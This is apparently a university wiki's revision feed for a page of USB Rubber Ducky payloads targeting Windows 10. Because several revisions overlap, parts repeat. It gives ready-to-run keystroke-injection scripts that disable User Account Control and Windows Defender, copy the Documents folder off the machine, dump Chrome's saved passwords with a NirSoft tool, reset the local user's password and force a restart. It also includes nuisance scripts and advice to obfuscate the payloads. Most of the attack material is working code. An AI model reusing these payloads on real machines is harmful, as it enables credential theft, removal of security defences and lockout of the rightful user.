DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* * Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17049</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17049"/>
		<updated>2024-12-12T21:13:43Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
